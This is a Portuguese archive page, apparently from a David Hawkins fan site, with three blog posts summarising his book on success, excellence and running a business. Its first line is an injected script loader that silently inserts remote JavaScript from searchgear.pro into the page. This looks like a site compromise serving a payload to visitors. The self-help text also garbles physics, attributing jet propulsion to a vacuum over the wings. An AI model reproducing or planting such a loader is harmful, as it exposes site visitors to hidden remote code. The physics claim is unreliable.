;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de pessoas de sucesso - David Hawkins Brasil

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3 Características da Excelência Profissional

Excelencia Profissional

No artigo de hoje continuaremos aprofundando o livro O Sucesso É Para Você, de Dr. David Hawkins. No artigo anterior discutimos 3 elementos fundamentais para um negócio de sucesso. Hoje, falaremos sobre como alcançar a excelência profissional.

Nessa obra, Hawkins utiliza sua experiência prévia como empresário, médico e psiquiatra dono da maior clínica de saúde mental dos EUA, em Nova Iorque.

Característica da excelência profissional: Compromisso

Dr. Hawkins coloca a “excelência” como algo que não pode ser imitado.

Sermos excelentes, na vida pessoal ou profissional, é uma consequência natural do compromisso que firmamos com a excelência. Essa afirmação pode parecer óbvia, porém é fundamental. A excelência só se torna possível a partir do momento em que nos comprometemos a entregar somente excelência — nada menos do que isso.

Primeiro vem o compromisso, depois o resultado.

Característica da excelência profissional: Criatividade

Quando observamos alguém que é excelente no que faz, logo pensamos que aquela pessoa tem uma genialidade ou criatividade inatas. A partir daí surgem muitos mitos, como “Eu não sou criativo” ou “Eu não sou tão genial assim”.

Dr. Hawkins explica que a criatividade ou genialidade são naturais do lado direito do cérebro. Se você tem um cérebro, você tem criatividade — mesmo que não se considere alguém criativo.

Segundo ele, uma pessoa verdadeiramente criativa é aquela que tem atitudes de cuidado, compartilhamento, amor, participação e imaginação de como a experiência de outra pessoa pode ser.

Se na sua profissão você for empático e se colocar no lugar do cliente, do usuário do serviço ou produto, você naturalmente terá ideias de como melhorar a experiência. Tudo começa na intenção genuína de servir o outro e criar a melhor experiência possível!

Característica da excelência profissional: Humanidade

Ao longo da obra O Sucesso É Para Você, Dr. David Hawkins enfatiza que só existe um consumidor: a natureza humana.

Ele destaca que todas as pessoas verdadeiramente de sucesso focam em atender as necessidades humanas, isto é, as necessidades dos compradores de seus serviços ou produtos.

O que importa não é o segmento em que você atua. É claro que cada segmento possui suas peculiaridades, mas o consumidor será sempre o mesmo, que é a própria natureza humana.

A razão pela qual compramos qualquer coisa é porque esse produto ou serviço atrai algo em nossa natureza humana. Hawkins nos diz que a excelência na profissão e nos negócios vem do reconhecimento da verdade daquilo que é universal.

O que importa são as necessidades humanas, como a necessidade de reconhecimento, importância, celebração, cuidado, pertencimento, entre outras.

Dr. David Hawkins explica que o sucesso que ocorre naturalmente quando despertamos o melhor de nós. Não é algo a ser “alcançado” ou “buscado lá fora”, mas sim algo a ser desperto.

Conclusão

A excelência profissional é, portanto, uma consequência de características intrínsecas nossas. Basta nos conectarmos com o nosso lado humano e assim, consequentemente, atenderemos as necessidades de nossos clientes e consumidores. Para Hawkins, essa é a “receita” do sucesso.

Acesse a página do livro O Sucesso É Para Você para conferir o conteúdo completo e aprofundar ainda mais a sua excelência profissional.

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3 Elementos Fundamentais para um Negócio de Sucesso

Negócio de Sucesso

Que tal investigar 3 elementos que todo negócio de sucesso precisa ter?

Este artigo faz parte de uma série com base no livro O Sucesso É Para Você, de Dr. David R. Hawkins, M.D., Ph.D.

No artigo anterior desta série, nós examinamos as barreiras para o sucesso e vimos o que impede um empreendimento de se desenvolver e prosperar.

Hoje, vamos mais uma vez utilizar os restaurantes como exemplos.

Como já foi mencionado no artigo anterior, restaurantes são negócios com os quais todos nós estamos familiarizados, e isso facilita a análise do sucesso.

Analisaremos 3 questões igualmente importantes:

  1. primeira impressão;
  2. personalidade;
  3. conveniência.

Vamos lá?

Negócio de Sucesso: a primeira impressão 

Buscando compreender o que forma um negócio de sucesso, Dr. Hawkins nos lembra que a primeira impressão causada influencia muito a nossa expectativa e contribui para moldar toda a experiência que teremos com aquela marca.

No caso de um restaurante, se já na entrada presenciamos algo nojento, isso certamente nos deixará com menos fome e terá um efeito negativo na nossa opinião sobre o estabelecimento.

Já que a expectativa do consumidor é um ponto crítico, Hawkins sugere uma reflexão: “as pessoas estão ansiando ou temendo o próximo encontro conosco?”.

Evidentemente, esse cenário não diz respeito só aos primeiros minutos de contato, mas sim à primeira experiência como um todo. 

Se passamos na frente de um restaurante e o cardápio — ou até mesmo o cheiro — chamou nossa atenção positivamente, isso criou uma expectativa positiva. Nesse momento, é fundamental que o próximo passo reforce a impressão positiva ao invés de frustrar essa nossa expectativa.

Ao nos depararmos com uma recepcionista antipática, por exemplo, a percepção inicial que era positiva pode se transformar em algo negativo.

Lembrete importante: diminua o tempo de espera do atendimento

Outro ponto fundamental aqui é a espera, que deve sempre ser curta.

Quanto mais tempo as pessoas esperam pelo atendimento, mais a primeira impressão vai se transformando em algo negativo. A partir daí, o cliente tende a notar muito mais os pontos desfavoráveis da experiência.

Negócio de Sucesso: a personalidade

O segundo elemento fundamental de um negócio de sucesso é a personalidade.

As pessoas gostam de ser tratadas como seres humanos e de perceber que nos importamos com elas. A partir do momento em que esquecemos esse lado humano, os clientes começam a ficar insatisfeitos.

Algumas empresas preocupam-se demais com os processos, focam em tornar as “engrenagens” do negócio perfeitas, mas esquecem-se de inserir o fator “cuidado”.

Quando os clientes são verdadeiramente cuidados e tratados com o coração, eles não se importarão se você cometer algum erro ou se houver alguma imperfeição no seu serviço. Afinal, as imperfeições nos tornam humanos também, não é mesmo?

É importante evitar que o negócio — e principalmente os colaboradores responsáveis pelo atendimento — se tornem mecânicos, insensíveis ou superficiais.

Ao invés disso, as relações devem ser baseadas na “presença”.

A qualidade da presença, ou seja, de se importar e estar realmente atento, é o que faz os clientes voltarem. No fundo, todas as pessoas querem ser tratadas como realeza e nós podemos fazer isso por elas usando o poder do coração!

Negócio de Sucesso: a conveniência

O terceiro elemento que trazemos hoje sobre um negócio de sucesso é a conveniência.

Nada mais triste em se tratando de negócios do que um restaurante que falha nos pontos mais óbvios, como: ter bons banheiros disponíveis, ter nosso refrigerante favorito à venda, disponibilizar molhos básicos, entre outros pontos.

Conveniência significa facilitar a vida das pessoas — mesmo que para isso os donos do negócio tenham que sair um pouco da zona de conforto 

O mais interessante é que, quando se trata de conveniência, os próprios clientes vão dizer o que eles precisam.

Preste atenção nas coisas que você mais ouve dos seus clientes, dos seus colegas ou do seu chefe. Você tem em mãos os pontos mais importantes a serem seguidos e implementados!

Um exemplo incrível do próprio Dr. David Hawkins é que quando ele tinha uma clinica de saúde mental em Nova Iorque, ele chegou a ter 10 linhas telefônicas para atender chamadas!

No momento em que alguém dizia que estava com dificuldade em falar com ele (na época era comum as linhas darem sinal de ocupado), Hawkins imediatamente colocava outra linha telefônica.

Lembrete importante: inove, mas não deixe de fazer o básico

Muitos empreendimentos erram em oferecer apenas opções muito inovadoras, diferentes ou sofisticadas. Por exemplo, oferecem um tempero de salada exótico, mas esquecem do bom e velho vinagre.

Portanto, vale a pena ficar atento à conveniência e à facilidade de atender necessidades corriqueiras. Fazer o básico muito bem feito também fideliza clientes.

Um Negócio de Sucesso é para você

Ao longo de 242 páginas em um tom bastante divertido, Dr. David Hawkins nos mostra que todos nós podemos ter um negócio de sucesso se observarmos alguns princípios universais e algumas boas práticas. Por isso, fica nosso convite para que você aprofunde o assunto através do livro O Sucesso É Para Você. Ótima leitura!

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Pessoas de sucesso, existe “algo” nelas?

Pessoas de Sucesso

Qual é o “algo” que as pessoas de sucesso têm?

Antes de se perguntar “como fazer” para ter sucesso, que tal se perguntar qual é a causa do sucesso?

De onde se origina o sucesso?

“Tudo que fazemos a partir do espaço da sabedoria interior, é certo antes mesmo de acontecer. Quando estamos no caminho certo, temos aquela certeza interna e o resultado já é óbvio para nós.” (Dr. David Hawkins)

Tudo já existe desde o momento em que a ideia foi concebida. A partir daí a mobilização dos diversos recursos necessários à sua concretização são organizados e se tornam realidade a partir do poder que sustentava essa ideia.

A força e a força contrária

Todo movimento só existe por conta do equilíbrio delicado entre força e força contrária. Nenhuma força é possível sem uma força contrária. Observe a propulsão de um motor a jato. Ela vem exatamente do poder de elevação do vácuo pela velocidade do vento na superfície das asas do avião contra a resistência do ar na atmosfera.

Não adianta tentar subir a escada do sucesso para alcançar o auge à força. O segredo do poder é que não existe o poder!

Poder não vem de fatos. É a maneira como os sentimos, como reagimos a eles e como eles nos afetam que lhe atribuem poder.

É a nossa atitude perante os fatos que determina qual será a experiência. Uma música alta, por exemplo, pode agradar a uns e desagradar a outros.

A qualidade que se atribui as coisas está dentro de nós e o sucesso é uma maneira de ser com as coisas, um conjunto de comportamentos, um estilo, uma intenção para ser corretamente motivado e manter a visão apropriada. São esses fatores que determinam o sucesso.

As atitudes corretas farão com que sejamos procurados, estimulará as pessoas a estarem conosco, a estarem em nossa companhia. O sucesso acontecerá sem que seja necessário o emprego da força. Simplesmente é!

Voltando às bananas.

Lembra da história do macaco que citamos no último artigo sobre o livro “O Sucesso é para Você”? O macaco que demorou a perceber que para pegar as bananas fora da jaula poderia apenas passar pela porta ao invés de se apertar contra a grade?

Pois então, existem muitas pessoas acumulando bananas para alcançá-las. Agora, quando você entende de onde vem o sucesso, você passeia pelas bananeiras.

Assim como o macaco dentro da jaula, se esforçando para pegar a banana, muitas pessoas que se consideram fracassadas, vivem rodeadas do sucesso; carentes, rodeados de amor; pobres, rodeados de dinheiro. Eles simplesmente não conseguem enxergar isso.

As pessoas de sucesso não se movem pelo “eu preciso”

E, será que precisamos? Precisar é em sua própria essência uma negação da verdade sobre nós mesmos. Precisar implica na falta, na ausência do recurso.

Tudo o que precisamos já existe dentro de nós. Quando afirmamos que não sabemos algo, na verdade já sabemos, mas ainda não nos conectamos a esse algo.

O sucesso pede que você saiba para onde olhar

Não olhe o que tem ou o que faz, mas para aquilo que é. E isso está dentro de nós. E, quando acessamos esse “algo” não precisamos buscar isso “lá fora”.

Inverta a posição, olhe a 180º!

Essa é a conexão mais próxima que existe com as coisas inconscientes. Muitas respostas, para muitos problemas surgirão apenas por invertermos a posição.

Freud já havia notado isso em seu livro sobre os sonhos: um dos mecanismos do inconsciente é disfarçar algo com seu oposto. Inverter posições é o segredo do sucesso.

O lado esquerdo do cérebro ordena e comanda e simplesmente não aceita que deve servir a algo maior. Ele executa o que a pessoa sabe com um todo. Ele quer trabalhar com apenas uma opção.

Para tudo existem, duas opções.

Pessoas de Sucesso usam “ou” ou “ambos”?

Considerando-se o mundo cotidiano de competição, a ausência do sucesso vem de manter proposições cercadas de “ous” ao invés de “ambos”.

Nesse modo, temos inimigos, competidores, rivais. E por que não deixar de enxergá-los dessa maneira?

Por que não começar a olhar para os “inimigos” como referências e fontes de inspiração?

Será que aquilo que enxergamos neles e que nos desafia não está apenas chamando nossa atenção para algo que está dentro de nós aguardando para ser visto?

Campeões de karatê dominam a eles próprios, não seus oponentes. Competidores são apenas exemplos daquilo que pode ser alcançado, são referências de tudo o que se pode alcançar.

“Não podemos dominar aquilo que é grandioso em nós mesmos se não aprendemos a reconhecer a grandiosidade nos outros.” (Dr. Hawkins)

No livro “O Sucesso é para Você” Dr.Hawkins ilustra seus conceitos com muitos exemplos que nos ajudam a compreender claramente nosso potencial para o sucesso.